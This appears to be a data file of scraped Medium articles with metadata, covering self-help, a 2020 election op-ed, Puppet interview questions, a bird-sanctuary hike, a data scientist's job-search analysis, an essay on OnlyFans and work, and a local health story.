I sometimes like to imagine what it’d be like if the Founding Fathers of the United States had iPhones. Do you think we’d be anywhere close to where we are today? Had Hamilton, Washington, Jefferson, Madison or any other of the legendary founders of this nation had a smartphone with access to Twitter, Facebook, Instagram, Snapchat, LinkedIn, and every other distraction that’s placed before us on a daily basis, I think they might have fallen ill to the disease of average just like you or me. The opportunity, freedom, and prosperity that this country offers could have looked very different than they do today.
But who know…perhaps they could have fought it. These were incredible humans after all. But it’s just interesting to think about in the context of today’s world. Because ultimately, I think we are all very similar beings. The vast majority of us are prone to the same types of distractions. We can all do amazing things if we allow ourselves to truly focus on what we’re trying to achieve.
So whatever you do, don’t despair. Personal greatness is just on the other side of Instagram feed. All you have to do is close it and get to work. | https://medium.com/@ryansagers/the-disease-of-being-average-3d0aace101cb | ['Ryan Sagers'] | 2019-02-18 07:12:42.984000+00:00 | ['Self Improvement', 'Distraction', 'Focus', 'Productivity', 'Self Help'] |
If Trump Wins… | Democrats scoff at the notion of a “law and order” president, but as the country enters its fourth month of sporadic unrest in the wake of George Floyd’s tragic death, more Americans in the middle are quietly observing the fallout from violent protests and rioting. More recently, they’re taking note of two lives claimed by unrest in Kenosha, Wisconsin following the police shooting of Jacob Blake. These politically-unaffiliated voters are paying attention to what’s happening around them, and they don’t like what they see. It’s making them very nervous.
They’re disturbed when they see Seattle’s Democratic mayor allow hundreds of people to commandeer several city blocks and declare it a “police free” zone with no visible sign of leadership. They’re unsettled when they watch Democratic leaders inspire protests that have turned violent, unleashing opportunistic looters who ravage small businesses and set cars aflame. They’re confused when they’re told groups of ten people or more threaten lives while Democratic governors encourage millions of Americans to take to the streets in the midst of a pandemic.
And most of all, they’re terrified by the cries to defund and abolish the police in the early stages of what may be the Greatest Depression this country has seen.
More than half of all small businesses that closed during the COVID-19 lockdown will not reopen, more than 51 million Americans are unemployed, and millions face eviction in the coming weeks. In other words, it’s becoming clear to anyone paying attention that a whole lot of people are about to become more desperate than they already are.
Reasonable people in the middle know it’s a mistake to reduce the presence of law enforcement in this climate. These aren’t people who think black lives don’t matter or who tolerate police brutality. But they suspect the alternative —a rising tide of assaults and homicides committed by civilians — is even worse.
Between January 1 and August 2, New York City saw an “unprecedented” 39% rise in crime as arrest numbers plummeted in the face of epic backlash against law enforcement. From June 29 to July 6, the number of police officers filing for retirement soared 411% as men and women in blue realized they’ve “been abandoned by the NYPD and elected officials.”
In the wake of a de-funding initiative that redirected $1.1 million from the police salary budget, Minneapolis has seen the departure of 80 officers, leading to a “summer crime spree.” In some areas, burglary is up 82%, auto theft up 105%, robbery up 43%, and aggravated assault up 39%.
The story is the same around the country. When police become targets and persona non grata, they lose their incentive to serve their communities. And Americans in the middle are taking note of this.
Cries to defund and abolish the police may placate those on the fringe Left, but they’re alienating voices that are far more important in the coming election. An August 13 Pew poll found that 59% of voters consider violent crime to be “very important” to their vote — only three points less than the Coronavirus pandemic.
Those in the middle are speaking, but the hard Left isn’t listening. They don’t understand average Americans of all colors — white soccer moms in the suburbs, working and middle class black families in cities, and people of color in poverty-ridden communities— aren’t on board with demonizing and reducing police ranks because they need these people to protect them, now more than ever.
And the polls are beginning to reflect this sentiment.
Biden’s advantage in key battleground states has slimmed dramatically over the summer. In June, shortly after the nationwide protests sparked by Floyd’s death, he led Trump by 16 points in Minnesota; today, the state is in a statistical dead heat. From Michigan to Pennsylvania, from North Carolina to Arizona, Biden’s once comfortable lead has been whittled to low single digits. By contrast, an August 24 CBS poll found Trump’s lead among independents has now surged to 10 points.
We could blame Biden’s deterioration on emboldened racists or people who don’t take the Coronavirus pandemic seriously.
Or we could pull focus and realize that Trump’s appeal has now seeped beyond racists and no-maskers.
Trump’s standing is even increasing among a very surprising group of people: blacks. A Zogby poll in April found that 36% of blacks approve or somewhat approve of Trump’s job performance while Democrats are underperforming with disillusioned black voters. On August 26, Meet the Press host Chuck Todd observed that both the Biden and Trump campaigns think “there is a chance that Donald Trump could overperform with African American men…it’s a concern of the Biden campaign and it’s a focus of the Trump campaign.”
Does this mean black people have lost their minds or they’re turning a blind eye to a racist? I don’t think so.
I think it’s happening because as bad as Trump is, a growing number of black people may feel the Democrats have nothing better to offer — and in some respects, what they’re offering may even be worse for them. Because when you’re trapped in poverty and living in conditions that lend themselves to crime, you’re not encouraged by the thought of police leaving your neighborhoods, even if you know some of them are bad seeds. It’s a risk you’re simply not willing to take.
I’m not the only one picking up on what’s happening. CNN’s Don Lemon is coming to the same conclusion. Please take two minutes to watch this clip:
Lemon is seeing what Democrats on the fringes are missing: their party has gone too far — and it may pay a steep price. “The rioting has to stop,” Lemon said in a CNN segment with Chris Cuomo. “It’s showing up in the polling. It’s showing up in focus groups. It is the only thing — it is the only thing right now that is sticking.” | https://medium.com/discourse/if-trump-wins-a499f55f0eca | ['Monica Harris'] | 2020-09-03 22:02:26.755000+00:00 | ['Trump', 'Cancel Culture', 'Racism', 'Election 2020', 'Voting'] |
Top Puppet Interview Questions For 2020 | Puppet Interview Questions
Puppet is the most mature and the most widely used tool for Configuration Management. There is a high possibility that it can be a major point of discussion in your interview. So here I am with the set of frequently asked Puppet interview questions.
No surprise, In this Puppet Interview Questions article, the first question has to be:
Q1. What is Puppet?
I will advise you to first give a small definition of Puppet. Puppet is a Configuration Management tool which is used to automate administration tasks.
Now, you should describe how Puppet Master and Agent communicates.
Puppet has a Master-Slave architecture in which the Slave has to first send a Certificate signing request to the Master and the Master has to sign that Certificate in order to establish a secure connection between Puppet Master and Puppet Slave as shown on the diagram below. Puppet Slave sends a request to Puppet Master and Puppet Master then pushes configuration on Slave.
Refer to the diagram below that explains the above description:
Q2. How Puppet Works?
For this question just explain Puppet Architecture. Refer the diagram below:
The following functions are performed in the above image:
The Puppet Agent sends the Facts to the Puppet Master. Facts are basically key/value data pair that represents some aspect of a Slave state, such as its IP address, up-time, operating system, or whether it’s a virtual machine. I will explain Facts in detail later in the blog.
Puppet Master uses the facts to compile a Catalog that defines how the Slave should be configured. Catalogis a document that describes the desired state for each resource that the Puppet Master manages on a Slave. I will explain catalogs and resources in detail later.
Puppet Slave reports back to Master indicating that Configuration is complete, which is visible in the Puppet dashboard.
Now the interviewer might dig in deep, so the next set of Puppet interview questions will test your knowledge about various components of Puppet.
Q3. What are the Puppet Manifests?
It is a very important question and just make sure you go in a correct flow according to me you should first define Manifests.
Every node (or Puppet Agent) has got its configuration details in Puppet Master, written in the native Puppet language. These details are written in the language which Puppet can understand and are termed as Manifests. Manifests are composed of Puppet code and their filenames use the .pp extension.
Now give an example, you can write a manifest in Puppet Master that creates a file and installs apache on all Puppet Agents (Slaves) connected to the Puppet Master.
Q4. What is Puppet Module and How it is different from Puppet Manifest?
For this answer I will prefer the below-mentioned explanation:
A Puppet Module is a collection of Manifests and data (such as facts, files, and templates), and they have a specific directory structure. Modules are useful for organizing your Puppet code because they allow you to split your code into multiple Manifests. It is considered best practice to use Modules to organize almost all of your Puppet Manifests.
Puppet programs are called Manifests. Manifests are composed of Puppet code and their file names use the .pp extension.
Q5. What is Facter in Puppet?
You are expected to answer what exactly Facter does in Puppet so, according to me you should start by explaining:
Facter is basically a library that discovers and reports the per-Agent facts to the Puppet Master such as hardware details, network settings, OS type and version, IP addresses, MAC addresses, SSH keys, and more. These facts are then made available in Puppet Master’s Manifests as variables.
Q6. What is Puppet Catalog?
I will suggest you to first, tell the uses of Puppet Catalog.
When configuring a node, Puppet Agent uses a document called a catalog, which it downloads from a Puppet Master. The catalog describes the desired state for each resource that should be managed, and may specify dependency information for resources that should be managed in a certain order.
If your interviewer wants to know more about it mention the below points:
Puppet compiles a catalog using three main sources of configuration info:
Agent-provided data
External data
Puppet manifests
Q7. What size organizations should use Puppet?
There is no minimum or maximum organization size that can benefit from Puppet, but there are sizes that are more likely to benefit. Organizations with only a handful of servers are unlikely to consider maintaining those servers to be a real problem, Organizations with many servers are more likely to find, difficult to manage those servers manually so using Puppet is more beneficial for those organizations.
Q8. How should I upgrade Puppet and Facter?
The best way to install and upgrade Puppet and Facter is via your operating system’s package management system, using either your vendor’s repository or one of Puppet Labs’ public repositories.
If you have installed Puppet from source, make sure you remove old versions entirely (including all application and library files) before upgrading. Configuration data (usually located in/etc/puppet or /var/lib/puppet, although the location can vary) can be left in place between installs.
The next set of Puppet Interview Questions will test your experience with Puppet.
Q9. What is the Command to check requests of Certificates from Puppet Agent (Slave) to Puppet Master?
According to me, you should mention the command first.
To check the list of Certificate signing requests from Puppet Agent to Puppet Master execute puppet cert list command in Puppet Master.
I will advise you to also add:
If you want to sign a particular Certificate execute: puppet cert sign <Hostname of agent>. You can also sign all the Certificates at once by executing: puppet cert sign all.
Q10. What is the use of etckeeper-commit-post and etckeeper-commit-pre on Puppet Agent?
The answer to this question is pretty direct just tell the uses of the above commands:
etckeeper-commit-post: In this configuration file you can define command and scripts which execute after pushing configuration on Agent.
In this configuration file you can define command and scripts which execute after pushing configuration on Agent. etckeeper-commit-pre: In this configuration file you can define command and scripts which execute before pushing configuration on Agent.
I hope you have enjoyed the above set of Puppet interview questions, the next set of questions will be more challenging, so be prepared.
Q11. What characters are permitted in a class name? In a module name? In other identifiers?
I will advise you to answer this by mentioning the characters:
Class names can contain lowercase letters, numbers, and underscores, and should begin with a lowercase letter. “::” (Scope Resolution Operator) can be used as a namespace separator.
The same rules should be used when naming defined resource types, modules, and parameters, although modules and parameters cannot use the namespace separator.
Variable names can include alphanumeric characters and underscore, and are case-sensitive.
Q12. Does Puppet runs on windows?
Yes. As of Puppet 2.7.6 basic types and providers do run on Windows, and the test suite is being run on Windows to ensure future compatibility.
Q13. Which version of Ruby does Puppet support?
I will suggest you mention the below points in your answer:
Certain versions of Ruby are tested more thoroughly with Puppet than others, and some versions are not tested at all. Run ruby -version to check the version of Ruby on your system.
to check the version of Ruby on your system. Starting with Puppet 4, Puppet Agent packages do not rely on the OS’s Ruby version, as it bundles its own Ruby environment. You can install puppet-agent alongside any version of Ruby or on systems without Ruby installed.
Puppet Enterprise (PE) also does not rely on the OS’s Ruby version, as it bundles its own Ruby environment. You can install PE alongside any version of Ruby or on systems without Ruby installed.
The Windows installers provided by Puppet Labs don’t rely on the OS’s Ruby version and can be installed alongside any version of Ruby or on systems without Ruby installed.
Q14. Which open source or community tools do you use to make Puppet more powerful?
Explain about some tools that you have used along with Puppet to do a specific task. You can refer to the below example: Changes and requests are ticketed through Jira and we manage requests through an internal process. Then, we use Git and Puppet’s Code Manager app to manage Puppet code in accordance with best practices. Additionally, we run all of our Puppet changes through our continuous integration pipeline in Jenkins using the beaker testing framework.
Q15. Tell me about a time when you used collaboration and Puppet to help resolve a conflict within a team?
Explain to them about your past experience of Puppet and how it was useful to resolve conflicts, you can refer the below mentioned example:
The development team wanted root access on test machines managed by Puppet in order to make specific configuration changes. We responded by meeting with them weekly to agree on a process for developers to communicate configuration changes and to empower them to make many of the changes they needed. Through our joint efforts, we came up with a way for the developers to change specific configuration values themselves via data abstracted through Hiera. In fact, we even taught one of the developers how to write Puppet code in collaboration with us.
Q16. Can I access environment variables with Facter in Puppet?
I will suggest you to start this answer by saying:
Not directly. However, Facter reads in custom facts from a special subset of environment variables. Any environment variable with a prefix of FACTER_ will be converted into a fact when Facter runs.
Now explain the interviewer with an example:
$ FACTER_FOO="bar"
$ export FACTER_FOO</span>
$ facter | grep 'foo'</span>
foo => bar
The value of the FACTER_FOO environment variable would now be available in your Puppet manifests as $foo, and would have a value of ‘bar’. Using shell scripting to export an arbitrary subset of environment variables as facts is left as an exercise for the reader.
Q17. What is the use of Virtual Resources in Puppet
First, you need to define Virtual Resource.
Virtual Resources specifies the desired state for a resource without necessarily enforcing that state. Although virtual resources can only be declared once, they can be realized any number of times.
I will suggest you mention the uses of Virtual Resources as well:
Resources whose management depends on at least one of multiple conditions being met.
Overlapping sets of resources that might be needed by any number of classes.
Resources that should only be managed if multiple cross-class conditions are met.
Once you are prepared with the above Puppet interview questions your dream job is not far.
This is the end of my article on Nagios interview questions. If you wish to check out more articles on the market’s most trending technologies like Artificial Intelligence, Python, Ethical Hacking, then you can refer to Edureka’s official site.
Do look out for other articles in this series which will explain the various other aspects of DevOps. | https://medium.com/edureka/top-puppet-interview-questions-9ec80b912a8 | ['Vardhan Ns'] | 2020-09-28 14:00:43.904000+00:00 | ['Puppet', 'Interview Questions', 'Interview', 'Devops Tool', 'DevOps'] |
Dad Hikes: Riverlands Migratory Bird Sanctuary — thatawaydad.com | See a wide variety of birds as you walk along trails in Mississippi River bottomland at Riverlands Migratory Bird Sanctuary.
The day we went we spotted a large group of pelicans, blue herons, gulls, white egrets, wood ducks, Canadian geese, and other birds.
Overview of Riverlands Migratory Bird Sanctuary
Riverlands has over 8.5 miles of trails that include viewing platforms and bird blinds. Trails go through prairies, marshes, and forests.
Also, here is the Audubon Center at Riverlands, where you can learn about birds in indoor exhibits. Sadly, the center is currently closed due to Covid-19.
Ellis Island Hike
The area David and I explored was Ellis Island. This area across the Alton Slough from the Audubon Center at Riverlands. The island is a peninsula now created by the changing river and the building of the bridge to Alton.
You hike along with a combination of footpaths and a gravel access road. It is a 2.7-mile hike that includes a loop in the middle with a back path that goes out to a point with an area filled with birds the day we were there.
Starting the Hike
A large gravel parking lot is available with many spaces. The trail begins along the Alton Slough.
Across the water were some small islands with red bushes changing color as autumn settles in. I stopped a moment to sit at a rocky beach area taking in the expansive water view.
Mississippi River Side
After walking a short way the loop starts. David and I decided to hike along the Mississippi River first. This is a narrower trail that goes into the woods. Here the river is below you with occasional side hikes down for river views.
We pass by some downed trees, but it was easy to go around to the right as many people have done.
One of the downed trees had caused another tree to go down on the other, it was interesting to see them stacked together. Another tree had been downed by a beaver.
I located a State of Illinois Survey Marker. It is always fun for me to find things like this along the trails.
Staying along the Mississippi River
We could have looped back in the middle to the main trail but decided to take the side trail along the Mississippi River to the end.
I stopped a few times taking in the views of the cityscape of Alton and the Clark Bridge and the wide Mississippi River.
End Trail
The small trail we were on connected with the main trail and now we walked on gravel.
One spur trail led to a large pile of rocks that I stood on and looked out over the river looking for different birds catching fish in the river.
End Spot
A bird blind was at the end. Then out in the river on logs were large groups of pelicans. It was hard to gain a photo of them since they were still off in the distance.
Further away from us was the Melvin Price Lock & Dam. We watched the pelicans swim about and then a blue heron swooped in and skimmed across the water. I could hear some ducks quacking nearby.
Walking Back
After hanging out here for a bit we walked back. This time we walked along the Alton Slough. In this body of water, we saw turtles, ducks along with two egrets.
Yellow flowers bloomed here and lime green butterflies flew around blending into the plants.
It was an easy hike back along the slough since it was a wide straight gravel road.
Final Thoughts
This was an easy hike over mostly flat terrain. Views of the Mississippi River, forests, and birds can be seen here. I would do this hike again if I wanted to relax a bit in nature. I might remember to bring my binoculars next time to gain a better view of the birds and wildlife here.
Other Hikes
Over on the Audubon Center side, there are short hikes into the swamp and slough areas. I didn’t get a chance to explore them this day.
By the Audubon Center, you will find a short trail to explore.
Across the road, you will find the Two Pecan Pond Trail, and further down from the Center on the other side of the road again from parking is a trail around Heron Pond.
Here is the LINK for a map of the area.
Details:
NOTE: Audubon Center at Riverlands is currently closed due to Covid-19. Trails in this are area are still open.
Drive: From Clayton take I-170 N to I-270 E. From I-270 E, Exit MO-367 N toward Alton, IL. MO-367 N becomes US-67 N. Before the Clark bridge and Mississippi River, you will see signs for Riverlands Migratory Bird Sanctuary.
Turn right at the Sanctuary sign and proceed .8 miles to the Audubon Center with the large glass bay windows on the left. If you want to do the Ellis Island hike take your first left just after you get off US-67 onto an outer road that leads to a gravel parking lot just after you drive past Alton Slough.
Hours: Sunrise to Sunset (Can be close if flooded or bird migration). Ellis Island is closed during eagle resting season from Dec. 15 — March 15.
Admission: Free
Address: West Alton, MO 63386
Nearby Dad Hikes
Grounds of a former 19th century U.S. Military instillation and ruins of a popular summer retreat in the 1930s can be explored at Fort Belle Fontaine County Park in North St. Louis County.
The mile-long Old Chain of Rocks Bridge 60-feet above the Mississippi River with a 30-degree turn midway was my quest today.
This bridge is historical since it once was part of a stretch of historic U.S. Route 66 and is at a major point along the Mississippi River near rock ledges that once created dangerous rapids for riverboats.
A bubbly waterfall and a monument to the Underground Railroad were found on the trails at the Olin Nature Preserve.
Our adventure included fields of golden sunflowers and a Mississippi River ferry ride.
Walking among the green stalks of a cornfield and admiring the lakeside flowers were part of our adventure on Walker’s Island at Horseshoe Lake State Park. | https://medium.com/@toddsmith3019/dad-hikes-riverlands-migratory-bird-sanctuary-thatawaydad-com-e2c05f793c70 | ['Todd Smith'] | 2020-11-10 16:24:55.814000+00:00 | ['Mississippi River', 'Migration', 'Hiking', 'Outdoors', 'Birds'] |
A Senior Data Scientist Job Search by the Numbers | A Senior Data Scientist Job Search by the Numbers
Photo by Sylwia Bartyzel on Unsplash
I recently started a new job as a Senior Data Scientist, and thought it would be a fun exercise to analyze the data about my job search. And to make it even more fun, why not share it with strangers on the internet?
I compiled data about each application and include my analysis below. The data includes companies and job titles I applied to, when I applied, when I heard back (if I did), when interviews occurred, and how each application ended. Some light analysis of this data shows trends in my job search habits, as well as some details of how the different companies handled their talent searches. The CSV file is linked below if anyone wants to analyze the data further!
This is Part 1 of a series of posts about my job search. The next post contains more reflection about what made my search successful and some advice for others doing the same.
First, some background
Hi, I’m Aaron! The end of the story is that I’m a Senior Data Scientist at Saturn Cloud. My role is to help clients utilize our platform as well as create engaging data science content that builds our credibility in the market and educates users about the technologies that we support. This is very different than what a “typical” data scientist (is there even such a person?) does at a company — my role can be thought of as a mix between a solutions architect and developer advocate but geared towards data science. Even so, I believe my experiences here should resonate with anyone looking for a data science job (or any job, for that matter).
I received a PhD in Computer Science from Florida Atlantic University where my research was focused on data mining and machine learning for healthcare applications. Prior to Saturn, I was a Data Scientist at Modernizing Medicine, an electronic health record company. I started my career at Modmed as an intern through a referral from my PhD advisor. This was before they had a data team, and I had the pleasure of growing my career along with the team over several years. Because of this, I was searching for a Senior Data Scientist position without going through a single interview in over six years! I did have a lot of experience interviewing people for data roles at Modmed, but was definitely terrified of being on the other side of the table.
For more background, this was the resume I used for my job search and my portfolio website.
Data collection process
I recorded information about all the jobs I applied to and have the data available in this GitHub gist. The collection process was mostly searching through my emails and looking for different events that occurred, then manually adding them to a Google sheet. Sometimes the best data is hand-crafted 😊.
Generally, a company sends a confirmation email stating that your application was received, and then any correspondence for scheduling interviews and such also happens over email. This made it pretty straightforward to trace the progression of my applications. To find these I searched for keywords like “application”, “applying”, etc. I also had a note on my phone where I kept track of the companies I applied to, so I went back through and searched specifically for the company names. Beyond company names and job titles, dates are the most important part of the data, and these were the ones I collected:
Date applied: When I sent the application (or received confirmation email)
Interview dates: Date of first, second, or third interview if they happened
Date rejected: When I received a rejection email (many companies never got back to me, so I assumed rejections for any that I did not receive an interview request for)
Date declined: When I decided to withdraw from the interview process
Date accepted: The date I accepted my new job! This of course is only populated for one entry, otherwise I would be a very busy man 😂.
There can definitely be some gaps in this data. If a company never sent me a confirmation email I may have omitted it from the data, or I may have missed an interview here or there if my searching failed me.
My job search by the numbers
I created a gist of my analysis notebook which is embedded at the end of this article, but first here are the high-level stats and analyses:
Applications sent out: 41
Date range of whole process: 47 days
Rejections: 34 (14 are assumed rejections)
(14 are assumed rejections) Applications where I had at least one interview: 9
Declines (I chose to withdraw application): 6
Most common job titles: Machine learning engineer (6), Lead data scientist (5), Senior data scientist (5), Data scientist (5)
For interviews:
Median time between application date and first interview: 5 days
Most time between application date and first interview: 7 days
For rejections:
Median time between application date and rejection: 12 days
Most time between application date and rejection: 145 days
The plot below shows the progression of each application, with a point for each “event” (application, interview, rejection, etc).
Job search timeline. Dark gray bars without an end point indicate I was rejected after June 30. Light gray bars indicate I never heard back.
The rejection time definitely had the most variability — some companies rejected me almost immediately, some never did, and some took quite a while. I made it to the interview stage for 9 of the roles (orange lines/points), and besides flat out failing Facebook’s coding tests, I felt like I was heading toward getting an offer from the other companies. May 19th is when I accepted Saturn Cloud’s offer (blue point) then withdrew the other applications.
I sent my first application on April 8th, but didn’t get into a pattern of applying to jobs every few days until after April 19th. May 6th was a late night of desparate rapid-fire applications from LinkedIn searches 😬, as better illustrated below:
Number of jobs applied to by day
The whole process took just under two months. It felt like much longer! There was certainly time before April 8th that I spent updating my website and resume, and doing research on jobs. It’s hard to pinpoint the exact date, but it was definitely sometime in March because it was after the COVID-19 lockdown started in the U.S.
Check it out yourself!
The full notebook with my analysis is here. This is just scraping the surface of what could be analyzed from the data, so I would encourage you to look at it more yourself and find some other trends. Feel free to contact me on Twitter @rikturr to keep the conversation going!
Also, check out Part 2 of this series where I dive deeper into my story, reflect on what things were beneficial to my job search, and advice for those who are also in the midst of this journey. | https://towardsdatascience.com/a-senior-data-scientist-job-search-by-the-numbers-930cc1884269 | ['Aaron Richter'] | 2020-12-11 13:11:19.919000+00:00 | ['Job Search', 'Job Hunting', 'Data Analysis', 'Data Visualization', 'Data Science'] |
What OnlyFans Can Teach Us about the Evolving Role of Pleasure in Work | If I were a betting person then I would guess that the most popular ice breaker question in any room of adults is, “So, what do you do?” This question has become a shorthand for “Who are you?” that people use to determine whether or not the other person is interesting enough to hold a conversation with. I’m not saying that this is right, I’m just saying that this is true. So much of our identity as an adult has become wrapped up in how we make a living. We are, in some sense, where we work and who we work for. At least this was true in the “B.C.” times, the “before Coronavirus” times. These days it is, or it should be, rare to find a physical room full of strangers of any age holding a conversation about anything, let alone work. After all, where we work, who we work for, and whether or not we’re working at all has changed so much this year.
It is an understatement to say that the Coronavirus (COVID-19) pandemic has changed the nature of work. A Pew Research Center survey released in September found that a quarter of U.S. adults said that either they or someone in their household was laid off or lost their job because of the Coronavirus outbreak. The survey also found that many workers who didn’t lose their jobs still had to reduce their hours or take a pay cut due to the economic fallout from the pandemic. COVID-19 has forced people to either consider who they are outside of their work or to find work that better reflects who they are. The social distancing measures brought on by the pandemic have inspired more workers of all backgrounds to supplement their income by becoming content creators who make a living by being themselves. The rising popularity of OnlyFans in 2020 [1] is one of the most prominent examples of how the nature of work has evolved in tandem with social media. As a scholar who examines the influencer marketing industry in the United States, it has been amazing to witness the exponential growth of OnlyFans this year primarily because it is a platform where the line between “influencer” and “sex worker” is blurred. This doesn’t surprise me because as sociologist Angela Jones explains in her book Camming: Money, Power, and Pleasure in the Sex Work Industry (released in February 2020), sex workers are motivated to perform labor for a myriad of reasons, many of which are not just about money. I have learned that this goes for influencers too. In pairing these materials — OnlyFans and Camming — I hope to highlight the overlooked role of pleasure in work, especially during these times of increased precarity.
For the uninitiated, OnlyFans is a subscription-based content-sharing website where “Creators” (Users who upload content to be viewed by other Users) charge “Fans” (Users who follow Creators and view the Creator’s User-generated content) to see their photo and video content through paid subscriptions of generally $5 to $50 a month. Imagine, if you will, that Patreon and Instagram, had an offspring that was only accessible on a desktop then you would have a partial understanding of OnlyFans. I know that this reads like a description of a pretty “vanilla” content subscription service. That’s because OnlyFans is a pretty vanilla content subscription service. This is by design. I mean this quite literally. OnlyFans has a social media-oriented interface that mirrors the clean lines and minimalism of social media platforms like Instagram and YouTube. Marketing-wise, the OnlyFans company blog, and social media pages promote mainstream celebrities and social media influencers who have accounts on the website, focusing primarily on lifestyle influencers in the fashion, fitness, beauty, and cooking realms while posting promotional videos similar in aesthetic feel to those put out by more “family-friendly” social media platforms like YouTube and TikTok. Its differentiator, and perhaps its unpromoted value proposition, is its loose terms of service guidelines which makes it easy for people to turn it into a sex work platform. Other social media sites like Instagram and TikTok are open to teens 13-years of age or older and specifically restrict pornographic material on their platforms. The primary restriction that OnlyFans has is that you have to be at least 18-years of age or older to make an account. The site’s design along with its terms of service may arguably help it to both humanize and normalize sex work by creating an environment where “influencers,” “celebrities,” “sex workers,” and anyone else who exists in between can be seen in the same space as just “Creator.”
Sex work becomes destigmatized when the work is happening on a platform like OnlyFans that doesn’t market itself as a sex site. However, just because OnlyFans doesn’t promote itself as a platform for sex workers doesn’t mean that it isn’t benefitting from the selling of, or even the teasing of, sex. Take, for example, the case of Michael B. Jordan, People Magazine’s newly crowned “Sexiest Man Alive.” Jordan recently capitalized on OnlyFans’ association with sex when he announced on Jimmy Kimmel Live! that he plans to launch an OnlyFans account to raise money for a barber school. “Got an OnlyFans coming soon — eating fruit, all types of crazy stuff. It’s going to get wild,” he said to Jimmy Kimmel. Although People Magazine’s “Sexiest Man Alive’’ may never publicly promote a Pornhub account, it is socially acceptable for him to promote an OnlyFans account. Jordan used the site’s association with sex to his advantage even though it is likely that the content he will share on the platform will be PG-13 at best. His team understands that while sex sells, selling too much sex may tarnish Jordan’s generally “All-American Guy” image. He is the kind of Creator that OnlyFans relishes in promoting publicly. He’s sexy, sure, but in a “safe-for-work” (SFW) way.
In her book Camming, Angela Jones focuses on the erotic webcam industry also known as “camming.” Camming is a genre of indirect sex work that first emerged in 1996 in which cam models sell interactive computer-mediated sex online. This description of “camming” doesn’t veer too far from the sex work that is performed on OnlyFans, but unlike the platforms such as Chaturbate and Streamate that Jones examined in her study of the erotic webcam industry, OnlyFans, again, does not market itself as a sex site. Jones doesn’t mention OnlyFans in her book, but the similarities between the cam models she follows and the content creators that I follow in my own research are notable. OnlyFans represents the reincarnation of sex work in the gig economy age. Cam models and content creators are both independent contractors who get paid to be themselves, or at least play a version of themselves, online. Like all gig workers, their wages can be inconsistent and precarious due to the business structure of the platforms they work on. Gig work is not necessarily new. As Jones notes in Camming, strippers are also independent contractors who have to pay “house fees” to work. Creators on OnlyFans pay “house fees” too. Users can create accounts for free, but OnlyFans keeps 20 percent of their earnings as a fee when they start to make money on the platform. There are many reasons that people turn to gig work. In addition to the promise of better wages are the promises of more flexibility and greater autonomy. Jones explains that these are also among the reasons that motivate people to perform Internet-based sex work. She also adds the following to the list: safer working conditions, a decline in risk exposure, and a greater potential to experience various pleasures. Jones describes camming as a form of legitimate labor that “monetizes human desires for sex, intimacy, and pleasure.” It is the aspect of “pleasure” that serves as her intervention to the scholarship of sex work and the broader discourse on labor. She argues that the literature on sex work does not highlight the ways that an online environment may foster a space where the workers themselves have a greater potential to experience pleasure. “Scholars have focused too much on the regulation of sex and have missed the point that the underlying motivation for sexual regulation is a fundamental desire on the part of societies to control pleasure,” Jones writes. According to her analysis of the camming industry, “clients” are not only paying for their own pleasure, but they are also paying to watch the cam model experience pleasure. To be clear, “pleasure” in this context is not always sexual in nature. To clients, webcam models are simply real people broadcasting themselves on the Internet. Jones concludes that pleasure is not only an initial motivation for camming it is also often the reason people stay in the industry. While OnlyFans is not a traditional camming platform, it does share elements with the kinds of platforms Jones studied. In fact, I argue that pleasure also motivates and mediates the social interactions between “Creators” and “Fans” on OnlyFans even in the more general instances where the “Creator” is not a producer of NSFW material. By selling intimacy, not just sex (if they choose to sell sex at all), Creators deliver or perform what Jones refers to as an “embodied authenticity” for their supporters. In other words, they make their fans feel like they are having an authentic encounter even if the encounter is the product of economic exchange. In the kinds of computer-mediated interactions that take place on camming sites and on OnlyFans, all parties are made to feel safe and more willing to be themselves because of the physical and psychological barriers of their screens. Jones’ study of the camming industry shows how pleasure can be experienced as a fundamental part of labor. In more traditional workplaces within a capitalist economy, the pleasure of the worker is sacrificed to drive profits for the employer. However, in the online world of personality-driven work pleasure becomes a social experience that benefits all. And, because this is still capitalism we’re talking about, more pleasure leads to more profits for the independent contractor and the platforms they work on.
Given the flexible working conditions of online sex work, erotic labor may now appeal to people across social classes who previously were unwilling or unable to perform sex work that occurs offline because of reasons related to their identity or embodiment. Additionally, OnlyFans’ social media-inspired interface and marketing efforts are contributing to the normalization of sex work. While the potential for pleasure prevails the gig economy is no utopia. As revealed by Jones’ study of the camming industry the digital platforms sex workers perform on can reinforce existing systems of oppression by conditioning the precarious wages that they as independent contractors can earn. In one chapter of Camming, Jones uses the case of a platform called MyFreeCams to call out the intricate ways that race, class, and gender-based inequalities are perpetuated in the camming industry. Her statistical analysis of MyFreeCams found that Black women, Latina women, and women from outside of the United States, Canada, and the United Kingdom were significantly less likely to be successful on the site. Jones concludes in this chapter that White supremacy is embedded within the camming field and that race should never be separated from analyses of sexuality. Additionally, the survey from the Pew Research Center that I previously mentioned revealed that Black and Hispanic Americans were the most likely to have faced deep financial hardship as a result of the coronavirus outbreak. This indicates that race should never be separated from general analyses of work as well. Since the erotic webcam industry is arguably a predecessor (and, a still competitive alternative) to the OnlyFans business model it makes sense to insert Jones’ timely book Camming into the current conversation about OnlyFans as a space for a newer form of precarious online work, “influencing.” If anything, this pairing shows that many of the obstacles workers experience offline such as discrimination may also be replicated in online work environments. Although online platforms like OnlyFans may help to create new opportunities for workers to become entrepreneurs and to craft for themselves a more appealing labor environment that foregrounds pleasure as a social experience it does not resolve all of the problems that they may have encountered in the physical world as it relates to finding and keeping a job. | https://anuliwashere.medium.com/what-onlyfans-can-teach-us-about-the-evolving-role-of-pleasure-in-work-1f4e36df2373 | ['Anuli Akanegbu'] | 2020-12-18 22:48:37.344000+00:00 | ['Work', 'Gig Economy', 'Sex Work', 'Pleasure', 'Onlyfans'] |
Shawnee graduate has dreams put on hold | Nineteen-year-old Medford resident Jamie Westphal was a high school graduate with a bright future.
She graduated from Shawnee High School and was committed to Stockton University where she intended to study to become a nurse.
But before Jamie could fulfill her dream of helping the sick, she would have to deal with a sudden health crisis of her own.
Rather than finishing her packing the day before she was scheduled to move into her dorm, Jamie ended up being put on dialysis that day.
About two years ago, her pediatrician noticed unordinary high blood pressure, and Jamie experienced frequent headaches.
The school nurse took it from there, monitoring Jamie by measuring her blood pressure each day. Jamie was then advised to be admitted to the Children’s Hospital of Philadelphia where she could receive more in-depth treatment.
She was diagnosed with scarred kidneys as the result of a possible undiagnosed infection when she was younger and was told she would need a new kidney.
Jamie began dialysis treatment last August, spending five hours a day for three days a week on the machine.
As of March 24, she began peritoneal dialysis from her home, which requires her to be on the machine every night for eight hours while she sleeps.
